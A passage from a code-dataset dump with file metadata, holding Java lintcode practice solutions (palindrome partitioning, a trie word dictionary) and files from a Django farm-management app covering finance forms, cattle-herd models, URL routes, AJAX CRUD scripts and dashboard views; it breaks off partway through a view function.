!= chars[end--])\n return false;\n }\n return true;\n }\n\n public static void main(String args[]) {\n String str = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n Random random = new Random();\n StringBuffer buf = new StringBuffer();\n for (int i = 0; i < 2; i++) {\n int num = random.nextInt(62);\n buf.append(str.charAt(num));\n }\n\n// List<List<String>> result = new Palindrome().partition(buf.toString());\n List<List<String>> result = new Palindrome().partition(\"cbbbcc\");\n for (List<String> strings : result) {\n System.out.print(strings.stream().reduce((a, b) -> a + \",\" + b).get());\n System.out.print(\"\\n\");\n }\n }\n}\n"
},
{
"alpha_fraction": 0.7209302186965942,
"alphanum_fraction": 0.7441860437393188,
"avg_line_length": 20.5,
"blob_id": "c0e23d594480278df5b49af51727dce7ca003183",
"content_id": "30cef8014f6ef047519a8cbb9d1dfa4531599661",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 86,
"license_type": "no_license",
"max_line_length": 35,
"num_lines": 4,
"path": "/README.md",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "# lintcode\nhttps://www.lintcode.com/\n# my profile\nhttps://www.lintcode.com/user/tom11\n"
},
{
"alpha_fraction": 0.4490484893321991,
"alphanum_fraction": 0.4558010995388031,
"avg_line_length": 24.85714340209961,
"blob_id": "4de355a2b6a59cd163a0322912702106404c3688",
"content_id": "f66361a6914b535461a55a7d0ab2449c3a9e0d57",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 3258,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 126,
"path": "/java/src/main/java/T20161225/WordDictionary.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20161225;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Stack;\n\n/**\n * Created by TomNg on 2016/12/26.\n */\npublic class WordDictionary {\n\n private Node root = new Node(' ', -1);\n\n // Adds a word into the data structure.\n public void addWord(String word) {\n Node node = root;\n for (int i = 0; i < word.length(); i++) {\n node = node.addChar(word.charAt(i));\n }\n node.setEnd();\n }\n\n // Returns if the word is in the data structure. A word could\n // contain the dot character '.' to represent any one letter.\n public boolean search(String word) {\n int len = word.length() - 1;\n if (len == -1) {\n return false;\n }\n Stack<Node> nodeStack = new Stack<>();\n nodeStack.push(root);\n while (!nodeStack.isEmpty()) {\n Node next = nodeStack.pop();\n if (next.hasNext()) {\n for (Node node : next.getNext()) {\n if (node.is(word.charAt(node.index))) {\n if (node.index == len) {\n if (node.isEnd()) {\n return true;\n } else {\n continue;\n }\n }\n nodeStack.push(node);\n }\n }\n }\n }\n return false;\n }\n\n private class Node {\n char ch;\n int index;\n List<Node> next;\n boolean end = false;\n\n public Node() {\n }\n\n public Node(char ch, int index) {\n this.ch = ch;\n this.index = index;\n }\n\n public boolean is(char ch) {\n return ch == '.' || this.ch == ch;\n }\n\n public int getIndex() {\n return index;\n }\n\n public boolean hasNext() {\n return next != null;\n }\n\n public List<Node> getNext() {\n return next;\n }\n\n private Node addChar(char c) {\n if (next == null) {\n next = new ArrayList<>();\n Node node = new Node(c, index + 1);\n next.add(node);\n return node;\n }\n\n for (Node node : next) {\n if (node.ch == c) {\n return node;\n }\n }\n\n Node node = new Node(c, index + 1);\n next.add(node);\n return node;\n }\n\n private void setEnd() {\n end = true;\n }\n\n private boolean isEnd() {\n return end;\n }\n }\n\n\n public static void main(String args[]) {\n WordDictionary wordDictionary = new WordDictionary();\n wordDictionary.addWord(\"ran\");\n wordDictionary.addWord(\"rune\");\n wordDictionary.addWord(\"runs\");\n wordDictionary.addWord(\"add\");\n wordDictionary.addWord(\"hehe\");\n wordDictionary.addWord(\"pool\");\n wordDictionary.addWord(\"haha\");\n search(wordDictionary, \"r.n\");\n }\n\n private static void search(WordDictionary wordDictionary, String word) {\n System.out.print(word + \"-->\" + wordDictionary.search(word) + \"\\n\");\n }\n}\n"
}
] | 41 |
kaiserthiago/km | https://github.com/kaiserthiago/km | 3ca6a120e45bc2c6ac9bbc1412144926344e3a1b | 5e4f95a06dae45b2cacbbdfd4f56e222779928b3 | b085bb8beac93c6c07d1ae11395872decb05fb36 | refs/heads/master | 2020-07-13T08:35:15.510649 | 2020-07-10T21:48:18 | 2020-07-10T21:48:18 | 205,046,003 | 0 | 0 | null | 2019-08-29T00:15:13 | 2019-08-29T01:05:33 | 2020-02-12T02:35:43 | Python | [
{
"alpha_fraction": 0.6935714483261108,
"alphanum_fraction": 0.6935714483261108,
"avg_line_length": 52.846153259277344,
"blob_id": "7bb9fe6e771fa22ba5af71b2c293cd1c2624ba8f",
"content_id": "6a80e61114fad213f713b37bf654927f0db65eb6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1400,
"license_type": "no_license",
"max_line_length": 108,
"num_lines": 26,
"path": "/portal/urls.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "from django.conf.urls import url\nfrom django.views.generic import TemplateView\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.home, name='home'),\n url(r'^dashboard$', views.dashboard, name='dashboard'),\n\n url(r'^portal/cadastro/frota/excluir/(?P<pk>\\d+)$', views.excluir_frota, name='excluir_frota'),\n url(r'^portal/cadastro/frota/editar/(?P<pk>\\d+)$', views.editar_frota, name='editar_frota'),\n url(r'^portal/cadastro/frota/adicionar$', views.adicionar_frota, name='adicionar_frota'),\n url(r'^portal/cadastro/frota$', views.frota, name='frota'),\n\n url(r'^portal/cadastro/terceiro/excluir/(?P<pk>\\d+)$', views.excluir_terceiro, name='excluir_terceiro'),\n url(r'^portal/cadastro/terceiro/editar/(?P<pk>\\d+)$', views.editar_terceiro, name='editar_terceiro'),\n url(r'^portal/cadastro/terceiro/adicionar$', views.adicionar_terceiro, name='adicionar_terceiro'),\n url(r'^portal/cadastro/terceiro$', views.terceiro, name='terceiro'),\n\n url(r'^portal/cadastro/produto/excluir/(?P<pk>\\d+)$', views.excluir_produto, name='excluir_produto'),\n url(r'^portal/cadastro/produto/editar/(?P<pk>\\d+)$', views.editar_produto, name='editar_produto'),\n url(r'^portal/cadastro/produto/adicionar$', views.adicionar_produto, name='adicionar_produto'),\n url(r'^portal/cadastro/produto$', views.produto, name='produto'),\n\n url(r'^perfil$', views.perfil, name='perfil'),\n]\n"
},
{
"alpha_fraction": 0.4459518492221832,
"alphanum_fraction": 0.4459518492221832,
"avg_line_length": 30.75,
"blob_id": "b4fb18fff3d74db3693da766504246b58ead7872",
"content_id": "905b1548b97beaf8f8c2b5fb8bec38795f2fa0cc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 2287,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 72,
"path": "/static/js/portal/crud.js",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "$(function () {\n\n /* Functions */\n\n var loadForm = function () {\n var btn = $(this);\n $.ajax({\n url: btn.attr(\"data-url\"),\n type: 'get',\n dataType: 'json',\n beforeSend: function () {\n $(\"#modal .modal-content\").html(\"\");\n $(\"#modal\").modal(\"show\");\n },\n success: function (data) {\n $(\"#modal .modal-content\").html(data.html_form);\n }\n });\n };\n\n var saveForm = function () {\n var form = $(this);\n $.ajax({\n url: form.attr(\"action\"),\n data: form.serialize(),\n type: form.attr(\"method\"),\n dataType: 'json',\n success: function (data) {\n if (data.form_is_valid) {\n $(\"#resumo\").html(data.html_resumo);\n $(\"#chart_categorias\").html(data.html_categorias);\n $(\"#table_credito tbody\").html(data.html_credito_list);\n $(\"#table_debito tbody\").html(data.html_debito_list);\n $(\"#table tbody\").html(data.html_list);\n $(\"#myInput\").val('').focus();\n $(\"#modal\").modal(\"hide\");\n if (data.reload) {\n location.reload();\n }\n\n } else {\n $(\"#modal .modal-content\").html(data.html_form);\n }\n }\n });\n return false;\n };\n\n\n /* Binding */\n\n // Adicionar\n $(\".js-adicionar\").click(loadForm);\n $(\"#modal\").on(\"submit\", \".js-create-form\", saveForm);\n\n // Editar\n $(\"#table\").on(\"click\", \".js-update\", loadForm);\n $(\"#table_credito\").on(\"click\", \".js-update\", loadForm);\n $(\"#table_debito\").on(\"click\", \".js-update\", loadForm);\n $(\"#modal\").on(\"submit\", \".js-update-form\", saveForm);\n\n // Excluir\n $(\"#table\").on(\"click\", \".js-delete\", loadForm);\n $(\"#table_credito\").on(\"click\", \".js-delete\", loadForm);\n $(\"#table_debito\").on(\"click\", \".js-delete\", loadForm);\n $(\"#modal\").on(\"submit\", \".js-delete-form\", saveForm);\n\n // Alterar situação\n $(\"#table\").on(\"click\", \".js-situacao\", loadForm);\n $(\"#modal\").on(\"submit\", \".js-situacao-form\", saveForm);\n\n});"
},
{
"alpha_fraction": 0.5275229215621948,
"alphanum_fraction": 0.60550457239151,
"avg_line_length": 23.22222137451172,
"blob_id": "baecd47d9f6ea52125001bbc21c2ca9e49143244",
"content_id": "d22f05c47ef58d8f1d0bee6fe7afa5d2c6bd662e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 436,
"license_type": "no_license",
"max_line_length": 99,
"num_lines": 18,
"path": "/financeiro/migrations/0008_auto_20200617_1643.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-17 20:43\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('financeiro', '0007_auto_20200617_1642'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='receita',\n name='nf',\n field=models.CharField(blank=True, max_length=50, null=True, verbose_name='Documento'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.5018839240074158,
"alphanum_fraction": 0.5048982501029968,
"avg_line_length": 43.7303352355957,
"blob_id": "9d16f8f1b663e2dad404cd0cb7e1f188199f6a8c",
"content_id": "7e995e280cb5d709f539f6f6f9a3ac43e9affe45",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3981,
"license_type": "no_license",
"max_line_length": 124,
"num_lines": 89,
"path": "/financeiro/forms.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "from django import forms\nfrom django.shortcuts import get_object_or_404\n\nfrom .models import Despesa, Receita, Categoria, Conta, SubCategoria\n\n\nclass DespesaForm(forms.ModelForm):\n class Meta:\n model = Despesa\n fields = (\n 'valor',\n 'data',\n 'descricao',\n 'subcategoria',\n 'conta',\n 'forma_pagamento',\n 'colaborador',\n 'fornecedor',\n 'parceiro',\n 'nf',\n 'frota',\n 'marcador'\n )\n\n def __init__(self, user, *args, **kwargs):\n super(DespesaForm, self).__init__(*args, **kwargs)\n self.fields['subcategoria'].queryset = self.fields['subcategoria'].queryset.filter(categoria__tipo=2,\n empresa=user.userprofile.empresa)\n self.fields['conta'].queryset = self.fields['conta'].queryset.filter(empresa=user.userprofile.empresa)\n self.fields['colaborador'].queryset = self.fields['colaborador'].queryset.filter(categoria=2,\n empresa=user.userprofile.empresa)\n self.fields['fornecedor'].queryset = self.fields['fornecedor'].queryset.filter(categoria=4,\n empresa=user.userprofile.empresa)\n self.fields['parceiro'].queryset = self.fields['parceiro'].queryset.filter(categoria=5,\n empresa=user.userprofile.empresa)\n self.fields['frota'].queryset = self.fields['frota'].queryset.filter(empresa=user.userprofile.empresa)\n\n\nclass ReceitaForm(forms.ModelForm):\n class Meta:\n model = Receita\n fields = (\n 'valor',\n 'data',\n 'descricao',\n 'subcategoria',\n 'conta',\n 'forma_pagamento',\n 'cliente',\n 'fornecedor',\n 'parceiro',\n 'produtor',\n 'nf')\n\n def __init__(self, user, *args, **kwargs):\n super(ReceitaForm, self).__init__(*args, **kwargs)\n self.fields['subcategoria'].queryset = self.fields['subcategoria'].queryset.filter(categoria__tipo=1,\n empresa=user.userprofile.empresa)\n self.fields['conta'].queryset = self.fields['conta'].queryset.filter(empresa=user.userprofile.empresa)\n self.fields['cliente'].queryset = self.fields['cliente'].queryset.filter(categoria=1,\n empresa=user.userprofile.empresa)\n self.fields['fornecedor'].queryset = self.fields['fornecedor'].queryset.filter(categoria=4,\n empresa=user.userprofile.empresa)\n self.fields['parceiro'].queryset = self.fields['parceiro'].queryset.filter(categoria=5,\n empresa=user.userprofile.empresa)\n self.fields['produtor'].queryset = self.fields['produtor'].queryset.filter(categoria=6,\n empresa=user.userprofile.empresa)\n\n\nclass CategoriaForm(forms.ModelForm):\n class Meta:\n model = Categoria\n fields = ('descricao', 'tipo')\n\n\nclass SubCategoriaForm(forms.ModelForm):\n class Meta:\n model = SubCategoria\n fields = ('descricao',)\n\n def __init__(self, categoria_pk, *args, **kwargs):\n super(SubCategoriaForm, self).__init__(*args, **kwargs)\n self.instance.categoria_id = categoria_pk\n\n\nclass ContaForm(forms.ModelForm):\n class Meta:\n model = Conta\n fields = ('descricao', 'saldo_inicial', 'tipo')\n"
},
{
"alpha_fraction": 0.6427991986274719,
"alphanum_fraction": 0.6488843560218811,
"avg_line_length": 29.8125,
"blob_id": "264050646c0d64a13849f956ad0bd534bf2e0245",
"content_id": "e39be85ab6a2224207bd9abbae361978e32f08de",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4948,
"license_type": "no_license",
"max_line_length": 127,
"num_lines": 160,
"path": "/rebanho/models.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "import datetime\n\nfrom django.contrib.auth.models import User\nfrom django.db import models\n\n# Create your models here.\nfrom django.db.models import Count\nfrom django.db.models.functions import Lower\nfrom django.utils import timezone\n\nfrom portal.models import AuditoriaMixin\n\n\nclass Atividade(models.Model):\n CRIA = 0\n RECRIA = 1\n ENGORDA = 2\n\n ATIVIDADE_CHOICES = [\n [CRIA, 'Cria'],\n [RECRIA, 'Recria'],\n [ENGORDA, 'Engorda'],\n ]\n\n\nclass Categoria(models.Model):\n BEZERRO = 0\n GARROTE = 1\n TOURO = 2\n BOI = 3\n BEZERRA = 4\n NOVILHA = 5\n VACA = 6\n\n CATEGORIA_CHOICES = [\n [BEZERRO, 'Bezerro'],\n [GARROTE, 'Garrote'],\n [TOURO, 'Touro'],\n [BOI, 'Boi'],\n [BEZERRO, 'Bezerra'],\n [NOVILHA, 'Novilha'],\n [VACA, 'Vaca'],\n\n ]\n\n\nclass Morte(models.Model):\n ABATE = 0\n ACIDENTE_OFIDICO = 1\n AFOGAMENTO_ATOLAMENTO = 2\n BOTULISMO = 3\n BRUCELOSE = 4\n DESCARTE = 5\n MASTITE = 6\n NEOPLASIA = 7\n\n MORTE_CHOICES = [\n [ABATE, 'Abate'],\n [ACIDENTE_OFIDICO, 'Acidente Ofídico'],\n [AFOGAMENTO_ATOLAMENTO, 'Afogamento/Atolamento'],\n [BOTULISMO, 'Botulismo'],\n [BRUCELOSE, 'Brucelose'],\n [DESCARTE, 'Descarte'],\n [MASTITE, 'Mastite'],\n [NEOPLASIA, 'Neoplasia'],\n ]\n\n\nclass PadraoRacial(models.Model):\n ANELORADO = 0\n CRUZAMENTO_INDUSTRIAL = 1\n CRUZAMENTO_LEITEIRO = 2\n TAURINO = 3\n ZEBUINO = 4\n\n PADRAO_RACIAL_CHOICES = [\n [ANELORADO, 'Anelorado'],\n [CRUZAMENTO_INDUSTRIAL, 'Cruzamento Industrial'],\n [CRUZAMENTO_LEITEIRO, 'Cruzamento Leiteiro'],\n [TAURINO, 'Taurino'],\n [ZEBUINO, 'Zebuíno']\n ]\n\n\nclass Configuracao(AuditoriaMixin):\n dias_gestacao = models.PositiveIntegerField(verbose_name='Dias de Gestação', blank=True, null=True)\n idade_limite_desmame = models.PositiveIntegerField(verbose_name='Idade limite para desmame (meses)', blank=True, null=True)\n dias_limite_parto = models.PositiveIntegerField(verbose_name='Dias limite para parto', blank=True, null=True)\n\n class Meta:\n verbose_name = 'Configuração'\n verbose_name_plural = 'Configuração'\n ordering = [Lower('empresa__nome_fantasia'), ]\n\n def __str__(self):\n return 'Configuração - ' + str(self.empresa.nome_fantasia)\n\n\nclass Lote(AuditoriaMixin):\n data_criacao = models.DateField(verbose_name='Data de criação', default=timezone.now)\n descricao = models.CharField(verbose_name='Descrição', max_length=255)\n\n class Meta:\n ordering = [Lower('descricao'), ]\n verbose_name = 'Lote'\n verbose_name_plural = 'Lotes'\n\n def __str__(self):\n return self.descricao\n\n @property\n def get_femeas(self):\n return Animal.objects.filter(lote_id=self.id, sexo=0, vivo=True).aggregate(total=Count('id'))\n\n @property\n def get_machos(self):\n return Animal.objects.filter(lote_id=self.id, sexo=1, vivo=True).aggregate(total=Count('id'))\n\n @property\n def get_total(self):\n return Animal.objects.filter(lote_id=self.id, vivo=True).aggregate(total=Count('id'))\n\n\nclass Animal(AuditoriaMixin):\n FEMEA = 0\n MACHO = 1\n\n SEXO_CHOICES = [\n [FEMEA, 'Fêmea'],\n [MACHO, 'Macho']\n ]\n\n data_nascimento = models.DateField(verbose_name='Data Nascimento')\n sexo = models.IntegerField(verbose_name='Sexo', choices=SEXO_CHOICES)\n padrao_racial = models.IntegerField(verbose_name='Padrão Racial', choices=PadraoRacial.PADRAO_RACIAL_CHOICES)\n atividade = models.IntegerField(verbose_name='Atividade', choices=Atividade.ATIVIDADE_CHOICES)\n categoria = models.IntegerField(verbose_name='Categoria', choices=Categoria.CATEGORIA_CHOICES)\n observacoes = models.TextField(verbose_name='Observações', blank=True, null=True)\n lote = models.ForeignKey(Lote, on_delete=models.DO_NOTHING, blank=True, null=True)\n vivo = models.BooleanField(default=True)\n data_morte = models.DateField(verbose_name='Data Morte', blank=True, null=True)\n motivo_morte = models.IntegerField(verbose_name='Motivo Morte', choices=Morte.MORTE_CHOICES, blank=True, null=True)\n responsavel_morte = models.ForeignKey(User, null=True, blank=True, on_delete=models.DO_NOTHING,\n related_name='responsavel_morte')\n\n class Meta:\n ordering = ['id']\n verbose_name = 'Animal'\n verbose_name_plural = 'Animais'\n\n def __str__(self):\n return str(self.id)\n\n\nclass MovimentacaoAnimalLote(AuditoriaMixin):\n data_movimentacao = models.DateField()\n animal = models.ForeignKey(Animal, on_delete=models.DO_NOTHING)\n lote_origem = models.ForeignKey(Lote, on_delete=models.DO_NOTHING, blank=True, null=True,\n related_name='lote_origem')\n lote_destino = models.ForeignKey(Lote, on_delete=models.DO_NOTHING, related_name='lote_destino')\n"
},
{
"alpha_fraction": 0.7528089880943298,
"alphanum_fraction": 0.7528089880943298,
"avg_line_length": 16.799999237060547,
"blob_id": "69baa0b3ba0b43a2f367f65375ad98738d9e147f",
"content_id": "fd22883e464181453024c06e00d27d0e7bd257ed",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 89,
"license_type": "no_license",
"max_line_length": 33,
"num_lines": 5,
"path": "/rebanho/apps.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "from django.apps import AppConfig\n\n\nclass RebanhoConfig(AppConfig):\n name = 'rebanho'\n"
},
{
"alpha_fraction": 0.621471107006073,
"alphanum_fraction": 0.62483811378479,
"avg_line_length": 31.513683319091797,
"blob_id": "7f10c2cb43c825f6d52d687f32e3a8d04a8c9792",
"content_id": "2b9bb3184ef002f73c28d11f45d72a55c376b16d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 15449,
"license_type": "no_license",
"max_line_length": 119,
"num_lines": 475,
"path": "/portal/views.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "import json\nfrom calendar import monthrange\nimport datetime\nfrom decimal import Decimal\n\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.contrib.auth.models import User\nfrom django.db.models import Sum, Count\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render, redirect, get_object_or_404\n\n# Create your views here.\nfrom django.template.loader import render_to_string\n\nfrom financeiro.models import Despesa, Receita, Categoria, Conta\nfrom portal.models import Frota, Empresa, Terceiro, Produto\nfrom rebanho.models import Animal\n\nfrom portal.forms import FrotaForm, UserForm, EmpresaForm, TerceiroForm, ProdutoForm\n\n\ndef group_required(*group_names):\n \"\"\"Requires user membership in at least one of the groups passed in.\"\"\"\n\n def in_groups(u):\n if u.is_authenticated:\n if bool(u.groups.filter(name__in=group_names)):\n return True\n return False\n\n return user_passes_test(in_groups)\n\n\nclass DecimalEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, Decimal):\n return float(obj)\n return json.JSONEncoder.default(self, obj)\n\n\ndef home(request):\n instagram = 'kmnegociosagropecuarios'\n context = {\n 'instagram': instagram\n }\n return render(request, 'portal/home.html', context)\n\n\n@login_required\ndef perfil(request):\n user = User.objects.get(pk=request.user.pk)\n user_form = UserForm(instance=user)\n\n empresa = Empresa.objects.get(pk=request.user.userprofile.empresa.pk)\n empresa_form = EmpresaForm(instance=empresa)\n\n if request.method == 'POST':\n user_form = UserForm(request.POST)\n empresa_form = EmpresaForm(request.POST, request.FILES)\n\n if user_form.is_valid() and empresa_form.is_valid():\n user.first_name = user_form.cleaned_data['first_name']\n user.last_name = user_form.cleaned_data['last_name']\n user.save()\n\n empresa.razao_social = empresa_form.cleaned_data['razao_social']\n empresa.nome_fantasia = empresa_form.cleaned_data['nome_fantasia']\n empresa.cnpj = empresa_form.cleaned_data['cnpj']\n empresa.ie = empresa_form.cleaned_data['ie']\n empresa.im = empresa_form.cleaned_data['im']\n empresa.endereco = empresa_form.cleaned_data['endereco']\n empresa.bairro = empresa_form.cleaned_data['bairro']\n empresa.cep = empresa_form.cleaned_data['cep']\n empresa.cidade = empresa_form.cleaned_data['cidade']\n empresa.uf = empresa_form.cleaned_data['uf']\n empresa.fone = empresa_form.cleaned_data['fone']\n empresa.email = empresa_form.cleaned_data['email']\n empresa.site = empresa_form.cleaned_data['site']\n empresa.logo = empresa_form.cleaned_data['logo']\n\n empresa.save()\n\n messages.success(request, 'Perfil atualizado com sucesso.')\n\n return redirect('perfil')\n else:\n messages.error(request, 'Verifique as informações inseridas.')\n\n context = {\n 'user_form': user_form,\n 'empresa_form': empresa_form,\n 'user': user,\n }\n return render(request, 'portal/perfil.html', context)\n\n\n@login_required\ndef dashboard(request):\n inicio = request.GET.get('data_inicial')\n if not inicio:\n inicio = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '01'\n )\n else:\n inicio = inicio[6:10] + '-' + inicio[3:5] + '-' + inicio[0:2]\n\n final = request.GET.get('data_final')\n\n if not final:\n final = '%s-%s-%s' % (\n datetime.datetime.today().strftime('%Y'),\n datetime.datetime.today().strftime('%m'),\n '%02d' % monthrange(datetime.datetime.today().year, datetime.datetime.today().month)[1]\n )\n else:\n final = final[6:10] + '-' + final[3:5] + '-' + final[0:2]\n\n despesas = Despesa.objects.filter(data__range=[inicio, final], empresa=request.user.userprofile.empresa).aggregate(\n total=Sum('valor'))\n receitas = Receita.objects.filter(data__range=[inicio, final], empresa=request.user.userprofile.empresa).aggregate(\n total=Sum('valor'))\n\n if not despesas['total']:\n despesas['total'] = 0\n\n if not receitas['total']:\n receitas['total'] = 0\n\n total = receitas['total'] + despesas['total']\n\n mes_atual = inicio[5:7] + '/' + inicio[0:4]\n\n # GRÁFICO DESPESAS POR CATEGORIA E SUBCATEGORIA\n categorias_despesas = Despesa.objects.filter(subcategoria__categoria__tipo=Categoria.DEBITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__categoria__descricao').values_list(\n 'subcategoria__categoria__descricao').annotate(total=Sum('valor')).distinct()\n\n subcategorias_despesas = Despesa.objects.filter(subcategoria__categoria__tipo=Categoria.DEBITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__descricao').values_list(\n 'subcategoria__descricao').annotate(total=Sum('valor')).distinct()\n\n # GRÁFICO RECEITAS POR CATEGORIA E SUBCATEGORIA\n categorias_receitas = Receita.objects.filter(subcategoria__categoria__tipo=Categoria.CREDITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__categoria__descricao').values_list(\n 'subcategoria__categoria__descricao').annotate(total=Sum('valor')).distinct()\n\n subcategorias_receitas = Receita.objects.filter(subcategoria__categoria__tipo=Categoria.CREDITO,\n data__range=[inicio, final],\n empresa=request.user.userprofile.empresa).order_by(\n 'subcategoria__descricao').values_list(\n 'subcategoria__descricao').annotate(total=Sum('valor')).distinct()\n\n if not categorias_despesas:\n categorias_despesas = 0\n\n if not categorias_receitas:\n categorias_receitas = 0\n\n # SALDO ATUAL\n contas = Conta.objects.filter(empresa=request.user.userprofile.empresa)\n saldo = 0\n\n for conta in contas:\n saldo += conta.get_saldo\n\n # DADOS DO REBANHO\n animais = Animal.objects.filter(empresa=request.user.userprofile.empresa, vivo=True)\n mortes = Animal.objects.filter(empresa=request.user.userprofile.empresa, vivo=False,\n data_morte__range=[inicio, final])\n\n # ESTOQUE CRÍTICO\n produtos = Produto.objects.filter(empresa=request.user.userprofile.empresa, monitorar=True)[:5]\n\n context = {\n 'contas': contas,\n 'despesas': despesas,\n 'receitas': receitas,\n 'total': total,\n 'mes_atual': mes_atual,\n 'data_final': final,\n 'saldo': saldo,\n 'animais': animais,\n 'mortes': mortes,\n 'produtos': produtos\n # 'categorias_despesas': json.dumps(list(categorias_despesas), cls=DecimalEncoder),\n }\n\n if categorias_despesas != 0:\n context['categorias_despesas'] = json.dumps(list(categorias_despesas), cls=DecimalEncoder)\n context['subcategorias_despesas'] = json.dumps(list(subcategorias_despesas), cls=DecimalEncoder)\n\n if categorias_receitas != 0:\n context['categorias_receitas'] = json.dumps(list(categorias_receitas), cls=DecimalEncoder)\n context['subcategorias_receitas'] = json.dumps(list(subcategorias_receitas), cls=DecimalEncoder)\n\n return render(request, 'portal/dashboard.html', context)\n\n\n@login_required\n@group_required('Frota')\ndef frota(request):\n frotas = Frota.objects.filter(empresa=request.user.userprofile.empresa)\n\n context = {\n 'frotas': frotas\n }\n\n return render(request, 'portal/frota.html', context)\n\n\n@login_required\n@group_required('Frota')\ndef adicionar_frota(request):\n acao = '/frotas/cadastro/frota/adicionar'\n\n if request.method == 'POST':\n form = FrotaForm(request.POST)\n else:\n form = FrotaForm()\n return salvar_frota(request, form, 'includes/create.html', acao)\n\n\n@login_required\n@group_required('Frota')\ndef editar_frota(request, pk):\n frota = get_object_or_404(Frota, pk=pk)\n acao = '/frotas/cadastro/frota/editar/%s' % frota.id\n\n if request.method == 'POST':\n form = FrotaForm(request.POST, instance=frota)\n else:\n form = FrotaForm(instance=frota)\n return salvar_frota(request, form, 'includes/update.html', acao)\n\n\n@login_required\n@group_required('Frota')\ndef excluir_frota(request, pk):\n frota = get_object_or_404(Frota, pk=pk)\n registro = frota\n acao = '/frotas/cadastro/frota/excluir/%s' % frota.id\n tipo = 'Frota'\n data = dict()\n\n if request.method == 'POST':\n frota.delete()\n data['form_is_valid'] = True\n\n frotas = Frota.objects.filter(empresa=request.user.userprofile.empresa)\n\n data['html_list'] = render_to_string('includes/frota_list.html', {\n 'frotas': frotas,\n })\n else:\n context = {\n 'frota': frota,\n 'registro': registro,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string('includes/delete.html', context, request=request)\n\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Frota')\ndef salvar_frota(request, form, template_name, acao):\n tipo = 'Frota'\n data = dict()\n\n if request.method == 'POST':\n if form.is_valid():\n form.instance.empresa = request.user.userprofile.empresa\n form.instance.user = request.user\n form.save()\n\n data['form_is_valid'] = True\n\n frotas = Frota.objects.filter(empresa=request.user.userprofile.empresa)\n\n data['html_list'] = render_to_string('includes/frota_list.html', {\n 'frotas': frotas,\n })\n context = {\n 'form': form,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string(template_name, context, request=request)\n return JsonResponse(data)\n\n\n@login_required\ndef terceiro(request):\n terceiros = Terceiro.objects.filter(empresa=request.user.userprofile.empresa)\n\n context = {\n 'terceiros': terceiros\n }\n\n return render(request, 'portal/terceiro.html', context)\n\n\n@login_required\ndef adicionar_terceiro(request):\n acao = '/portal/cadastro/terceiro/adicionar'\n form = TerceiroForm(data=request.POST or None)\n\n return salvar_terceiro(request, form, 'includes/create.html', acao)\n\n\n@login_required\ndef editar_terceiro(request, pk):\n terceiro = get_object_or_404(Terceiro, pk=pk)\n acao = '/portal/cadastro/terceiro/editar/%s' % terceiro.id\n form = TerceiroForm(instance=terceiro, data=request.POST or None)\n\n return salvar_terceiro(request, form, 'includes/update.html', acao)\n\n\n@login_required\ndef excluir_terceiro(request, pk):\n terceiro = get_object_or_404(Terceiro, pk=pk)\n registro = terceiro\n acao = '/portal/cadastro/terceiro/excluir/%s' % terceiro.id\n tipo = 'Terceiro'\n data = dict()\n\n if request.method == 'POST':\n terceiro.delete()\n data['form_is_valid'] = True\n\n terceiros = Terceiro.objects.filter(empresa=request.user.userprofile.empresa)\n\n data['html_list'] = render_to_string('includes/terceiro_list.html', {\n 'terceiros': terceiros,\n })\n else:\n context = {\n 'terceiro': terceiro,\n 'registro': registro,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string('includes/delete.html', context, request=request)\n\n return JsonResponse(data)\n\n\n@login_required\ndef salvar_terceiro(request, form, template_name, acao):\n tipo = 'Terceiro'\n data = dict()\n\n if request.method == 'POST':\n if form.is_valid():\n form.instance.empresa = request.user.userprofile.empresa\n form.instance.user = request.user\n form.save()\n\n data['form_is_valid'] = True\n\n terceiros = 